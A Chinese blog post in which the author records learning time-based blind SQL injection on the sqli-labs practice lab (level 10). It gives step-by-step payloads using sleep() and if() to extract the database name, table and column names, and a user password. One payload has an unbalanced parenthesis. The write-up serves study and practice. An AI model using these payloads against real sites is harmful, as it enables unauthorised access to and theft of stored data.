Lemon's blog

sql注入学习——时间盲注

Record my learning process of SQL-labs.

字数统计: 609阅读时长: 2 min
2019/07/25 Share

前言:之前通过前九关学习到了回显注入、报错注入、布尔盲注等一些方法,这次就来详细的学习时间盲注

在上一篇博客中,了解了布尔盲注,其实布尔盲注时间盲注大致相同,注入原理是一致的,区别就是一个还是有回显的,一个彻底没有回显,通过构造语句,通过页面响应的时长,来判断信息,这就是时间盲注。

先来学习一下时间盲注所需要的函数

1
2
3
sleep()/延迟函数
if(condition,true,false)/若条件为真 返回true,若条件为假 返回false
substring("string",strart,length)

主要的也就是这几个了,下面就通过sqli-labs第十关来练习时间盲注

猜测数据库名长度
payload:

1
?id=1" and if(length(database())>5,1,sleep(10))--+

这里执行失败的话将睡十秒,能更快的判断,当然也可以将sleep()函数,放在执行成功的位置。

根据浏览器的反应来判断出数据库名长度(如果是手动注入的话切记网速得好,要不然就好玩了。。。)
在这里插入图片描述
爆出数据库名
payload:

1
?id=1" and if((ascii(substr(database(),1,1)))>120,1,sleep(10))--+

在这里插入图片描述
根据浏览器的反应,来猜测出数据库名,其实时间注入就是比布尔盲注多了一个if函数sleep()函数就相当于布尔盲注中的true或false,其他语句大致都相同。

爆表名
payload:

1
?id=1" and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>120,1,sleep(10))--+

同样也是观察浏览器反应时间,如果没有睡10秒则表名条件正确,继续尝试

爆列名
payload:

1
?id=1" and if((ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))))>100,1,sleep(10))--+

爆值
payload:

1
?id=1" and  if((ascii(substr(( select password from users limit 0,1),1,1)))>1,1,sleep(10))--+

可以看出其实时间盲注和布尔盲注语句基本相同,只不过是时间盲注通过if语句来执行sleep函数,从而判断。如果理解了布尔盲注,时间盲注也很好理解。

但还是最好写一下脚本,手工注入效率低且容易出错。这次就先学习到这里,了解了时间盲注,等到脚本能力提高了,自己写出一个脚本跑一下。

CATALOG